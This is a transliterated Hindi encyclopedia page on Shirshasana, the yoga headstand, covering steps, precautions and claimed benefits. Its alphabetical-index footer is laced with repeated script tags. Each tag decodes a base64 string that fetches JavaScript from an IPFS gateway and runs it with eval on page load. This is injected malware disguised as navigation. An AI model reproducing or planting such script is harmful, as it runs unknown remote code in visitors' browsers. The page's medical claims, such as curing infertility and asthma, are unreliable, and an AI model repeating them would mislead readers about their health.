शीर्षासन

भारत डिस्कवरी प्रस्तुति
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thumb|250px|shirshasan shirshasan (aangrezi: Sirsasana) ka nam 'shirsh' shabd par rakha gaya hai, jisaka matalab hota hai 'sir'. shirshasan ko sab asanoan ka raja mana jata hai. ise karana shuruat mean kathin zaroor hai lekin isake labh anek haian.

vidhi

  1. shirshasan karane ke lie apani yoga mait ya zamin par kanbal ya koee mota tauliya bichhakar vajrasan mean baith jaean.
  2. bad mean is par apana sir tikana hai, to yah apake sir ko ek naram paid dega.
  3. ab age ki or jhukakar donoan hathoan ki kohaniyoan ko jamin par tika dean.
  4. donoan hathoan ki uangaliyoan ko apas mean sakhti se jo d lean. inake bich mean sir rakh kar use sahara dena hai.
  5. ab sir ko donoan hatheliyoan ke bich mean dhire se rakhean. saans samany rakhean.
  6. pair ki uangaliyoan par upar a jayean. sharir trikon mudra mean hoga.
  7. dhire se ayej ki taraph paroan ko lekar ayean taki pith ekadam sidhi ho jae. zamin aur pith mean 90 digri ka kon hona chahie.
  8. jab pith ekadam sidhi ho jae, dhire-dhire sharir ka poora vajan bazuoan (phoraram) par dalate hue sharir ko oopar ki uthana shuroo karean.
  9. pahale taangoan ko sirf "adha" uthayean, taki ghutane chhati ko chhoo rahe hooan aur pair mu de hoan is mudra mean 1-2 minit rahana ka abhyas karean aur phir hi agala step karean (is mean kuchh haphte ya mahine bhi lag sakate haian).
  10. jab ap pichhale step mean nipun ho jayean, phir dono taangoan ko sidha upar uthane ki koshish karean. koshish karean ki kam se kam bhar sir par lean. sharir ko sidha kar lean.
  11. shuruat mean kul mila kar paanch bar saans aandar lean aur bahar chho dean taki ap asan mean 30 sekeand tak rah sakean.
  12. dhire-dhire jaise sharir mean taqat badhane lage, ap samay badha sakate haian. 5 minit se zyada na karean.
  13. 30 sekeand se 5 minit ka safar tay karane mean kuchh mahine ya sal bhi lag sakate haian to jaldabazi na karean!

asan tarika

  1. agar apane ap ko santulit rakhane mean kathinaee a rahi ho to divar ka sahara le sakate haian.
  2. agar taangoan ko sidha oopar rakhane mean kathinaee ho to taangoan ko oopar le jayean. apani taangoan ko mo d kar rakhean taki ghutane chhati ko chhoo rahe hoan.
  3. jab poora atmavishvas ho ki apaka santulan bana rah sakata hai, tabhi dono taangoan ko upar lekar jayean, ya divar se hat kar abhyas karean.

savadhani

  1. shirshasan pahali bar kar rahe haian to kisi anubhavi tichar ke sath karean taki vah chot lagane se bacha sake.
  2. agar pith ya gardan mean chot, siradard, hriday rog, uchch rakt chap, mahavari ya lo bipi ho to shirshasan na karean.
  3. shirshasan ke bad balasan zaroor karean.
  4. agar shirshasan karane ka anubhav hai to garbhavastha mean yah jari rakh sakati haian. magar dhyan rahe ki pahali bar shirshasan ka abhyas garbhavati hone ke bad na karean.
  5. apani sharirik kshamata se adhik zor n lagayean.

labh

  1. dimag ko shaant karata hai aur tanav aur halke avasad se rahat dene mean madad karata hai.
  2. shirshasan pityootari aur piniyal granthiyoan ko uttejit karata hai.
  3. hathoan, taangoan aur ridh ki haddi ko mazaboot karata hai.
  4. shirshasan pheph doan ki kary kushalata badhata hai.
  5. shirshasan se pachan aangoan par sakaratmak asar hota hai jis se kabz mean rahat milati hai.
  6. rajonivritti ke lakshanoan se rahat deta hai shirshasan.
  7. asthama, baanjhapan, anidra, aur sainas ke lie chikitsiy hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

dekhean • varta • badalean
yog
parichay
yogachary
yogasan

varnamala kramanusar lekh khoj

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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah



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